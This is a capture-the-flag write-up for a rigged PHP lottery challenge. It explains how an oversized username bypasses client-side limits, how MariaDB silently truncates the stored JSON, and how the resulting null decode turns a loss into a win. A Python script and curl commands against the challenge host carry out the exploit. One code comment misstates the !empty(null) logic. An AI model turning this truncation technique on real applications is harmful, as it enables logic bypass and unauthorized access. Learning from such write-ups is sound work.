Безвыигрышная лотерея
Безвыигрышная лотерея
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: client_side_validation_bypass, json_truncation_via_varchar_limit, null_coercion_logic_bypass
Summary
Task: PHP lottery app stores user data as JSON in VARCHAR(255); win condition is rigged via mt_rand range mismatch. Solution: send oversized username to trigger silent MariaDB truncation, producing invalid JSON that makes json_decode return null, bypassing the win check via !empty(null) short-circuit.
Безвыигрышная лотерея — Bug Makers CTF
Description
Говорят, что шанс победы в эту лотерею составляет 1%, но еще ни кто не смог выиграть.
English summary: A PHP lottery web application where the chance of winning is advertised as 1%, but the game is rigged so nobody can ever win. Source code is provided (PHP 8.0 + MariaDB + nginx). The goal is to find a way to bypass the rigged lottery and obtain the flag.
Analysis
Architecture
The application consists of three PHP files:
config.php— database connection (MariaDB via PDO) and UUID generatorindex.php— registration form that stores user data as JSON in the databasegame.php— lottery logic that reads JSON back and determines win/loss
Database schema
sql read-only • copy allowedCREATE TABLE IF NOT EXISTS `users` ( `id` INT AUTO_INCREMENT PRIMARY KEY, `uuid` VARCHAR(36) UNIQUE NOT NULL, `user_data` VARCHAR(255) NOT NULL, `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
The critical detail: user_data is VARCHAR(255) — a fixed maximum length.
MariaDB configuration
ini read-only • copy allowed[mysqld] sql_mode=ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
Notably, STRICT_TRANS_TABLES is absent from sql_mode. This means data exceeding column length is silently truncated instead of raising an error.
Registration logic (index.php)
php read-only • copy allowed$username = trim($_POST['username']); $userData = json_encode([ 'user' => $username, 'is_win' => 1 ], JSON_UNESCAPED_UNICODE); $stmt = $db->prepare('INSERT INTO users (uuid, user_data) VALUES (:uuid, :user_data)'); $stmt->bindParam(':user_data', $userData, PDO::PARAM_STR);
The HTML form has maxlength="50" and a pattern attribute, but these are client-side only — the server performs no length validation on the username.
Win/loss logic (game.php)
php read-only • copy allowed$user = @json_decode($userRow['user_data'], true); $rnd = mt_rand(1, 100) + 1; // Range: 2-101 $isLose = (!empty($user) && $user['is_win'] !== $rnd); $isWin = !$isLose;
The lottery is rigged in two ways:
is_winis always1, but$rndranges from 2 to 101 — the values can never match with strict comparison (!==)- Even if they could match,
is_winis an integer1while$rndis also an integer, but the range excludes1
The vulnerability: JSON truncation via VARCHAR(255)
The JSON string {"user":"<NAME>","is_win":1} has a fixed overhead of ~22 characters. If the username exceeds ~233 characters, the total JSON exceeds 255 characters and gets silently truncated by MariaDB.
Truncated JSON is invalid (e.g., {"user":"AAAA...AAA — missing closing braces). When game.php calls @json_decode() on this invalid JSON, it returns null.
The win check logic then becomes:
php read-only • copy allowed$user = null; // json_decode failed $isLose = (!empty(null) && ...); // !empty(null) = true, so !true = false // Short-circuit: the && condition is never evaluated $isLose = false; $isWin = !false; // true!
The !empty($user) guard evaluates to false when $user is null, making $isLose = false and therefore $isWin = true — the flag is displayed.
Solution
python read-only • copy allowed#!/usr/bin/env python3 """ Solve script for "Безвыигрышная лотерея" (No-Win Lottery) Bug Makers CTF 2026 Exploit: Send a username longer than 233 characters to cause JSON truncation in the VARCHAR(255) column. The truncated JSON is invalid, json_decode returns null, and the !empty() guard short-circuits the lose condition, resulting in a win. """ import requests URL = "https://bug-loto.t1.bug-makers.ru/" s = requests.Session() # Step 1: Register with an oversized username (bypass client-side maxlength=50) # JSON overhead is ~22 chars: {"user":"","is_win":1} # 240 chars of username + 22 = 262 chars total, truncated to 255 → invalid JSON long_name = "A" * 240 resp = s.post(URL, data={"username": long_name}, allow_redirects=False) print(f"[*] Registration: {resp.status_code} → {resp.headers.get('Location', 'no redirect')}") # Step 2: Visit game.php — json_decode fails, $user=null, win condition triggered resp = s.get(URL + "game.php") print(f"[*] Game page: {resp.status_code}") if "BugCTF{" in resp.text: import re flag = re.search(r'BugCTF\{[^}]+\}', resp.text) print(f"[+] FLAG: {flag.group()}") else: print("[-] No flag found in response") print(resp.text[:500])
Equivalent curl one-liner
bash read-only • copy allowed# Generate 240-char username, bypass client-side maxlength=50 LONG_NAME=$(python3 -c "print('A' * 240)") # Register — JSON will be truncated to 255 chars (invalid) curl -c cookies.txt -X POST -d "username=${LONG_NAME}" https://bug-loto.t1.bug-makers.ru/ # Visit game page — json_decode fails, $user=null, win condition triggered curl -b cookies.txt https://bug-loto.t1.bug-makers.ru/game.php # Response contains: BugCTF{REDACTED}